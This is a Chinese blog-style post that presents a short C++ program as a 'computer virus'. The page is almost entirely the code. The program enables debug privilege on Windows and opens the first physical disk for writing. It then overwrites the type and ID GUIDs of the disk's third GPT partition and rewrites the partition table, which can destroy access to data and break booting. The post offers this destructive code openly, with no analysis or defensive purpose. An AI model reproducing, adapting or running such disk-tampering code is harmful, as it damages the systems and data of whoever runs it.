跳到正文

科技·工程

小小C++电脑病毒代码,不足为惧

Icy_Water约 9 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月12日
篇幅
约 9 分钟

版本

  1. v2当前
  2. v1
C++
#include <windows.h>
#include <winioctl.h>
#include <iostream>
using namespace std;
bool EnableDebugPrivilege();
int main() {
    if (!EnableDebugPrivilege()) {
        cerr << "Warning: Failed to enable debug privilege. Some operations may fail." << endl;
    }
    HANDLE hDisk = CreateFileW(
        L"\\\\.\\PhysicalDrive0",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (hDisk == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        cerr << "Error: Failed to open disk handle. Error code: " << err << endl;
        return -1;
    }
    DWORD dwSize = sizeof(DRIVE_LAYOUT_INFORMATION_EX) + 128 * sizeof(PARTITION_INFORMATION_EX);
    PDRIVE_LAYOUT_INFORMATION_EX pLayout = nullptr;
    DWORD bytesReturned = 0;
    BOOL result = FALSE;
    for (int i = 0; i < 3; i++) {
        pLayout = (PDRIVE_LAYOUT_INFORMATION_EX)new BYTE[dwSize];
        result = DeviceIoControl(hDisk,
            IOCTL_DISK_GET_DRIVE_LAYOUT_EX,
            NULL, 0,
            pLayout, dwSize,
            &bytesReturned, NULL);

        if (!result && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
            delete[] pLayout;
            dwSize *= 2;
        } else {
            break;
        }
    }
    if (!result) {
        DWORD err = GetLastError();
        cerr << "Error: Failed to get drive layout. Error code: " << err << endl;
        CloseHandle(hDisk);
        delete[] pLayout;
        return -1;
    }
    int partitionIndex = 2;
    if (partitionIndex >= (int)pLayout->PartitionCount) {
        cerr << "Error: Partition index out of range. The disk has only "
                  << pLayout->PartitionCount << " partitions." << endl;
        CloseHandle(hDisk);
        delete[] pLayout;
        return -1;
    }
    if (pLayout->PartitionStyle != PARTITION_STYLE_GPT) {
        cerr << "Error: This is not a GPT disk. Current partition style: "
                  << pLayout->PartitionStyle << endl;
        CloseHandle(hDisk);
        delete[] pLayout;
        return -1;
    }
    cout << "Warning: About to modify disk partition table! This may cause data loss or system boot failure!" << endl;
    cout << "Press Enter to continue, or Ctrl+C to cancel..." << endl;
    cin.get();
    GUID zeroGuid = { 1 };
    pLayout->PartitionEntry[partitionIndex].Gpt.PartitionType = zeroGuid;
    pLayout->PartitionEntry[partitionIndex].Gpt.PartitionId = zeroGuid;
    pLayout->PartitionEntry[partitionIndex].RewritePartition = TRUE;
    if (!DeviceIoControl(hDisk,
        IOCTL_DISK_SET_DRIVE_LAYOUT_EX,
        pLayout, dwSize,
        NULL, 0,
        &bytesReturned, NULL)) {
        DWORD err = GetLastError();
        cerr << "Error: Failed to set drive layout. Error code: " << err << endl;
        cerr << "Note: The partition table may have been partially modified. It is recommended to check the disk status." << endl;
        CloseHandle(hDisk);
        delete[] pLayout;
        return -1;
    }
    cout << "Success: Partition GUID has been modified." << endl;
    if (!DeviceIoControl(hDisk,
        IOCTL_DISK_UPDATE_PROPERTIES,
        NULL, 0,
        NULL, 0,
        &bytesReturned, NULL)) {
        DWORD err = GetLastError();
        cerr << "Warning: Failed to update disk properties. Error code: " << err << endl;
        cerr << "A system restart may be required for the changes to be recognized." << endl;
    }
    CloseHandle(hDisk);
    delete[] pLayout;
    cout << "Operation completed. It is recommended to restart the system to ensure all changes take effect correctly." << endl;
    return 0;
}
bool EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return false;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        CloseHandle(hToken);
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        CloseHandle(hToken);
        return false;
    }
    CloseHandle(hToken);
    return true;
}
原文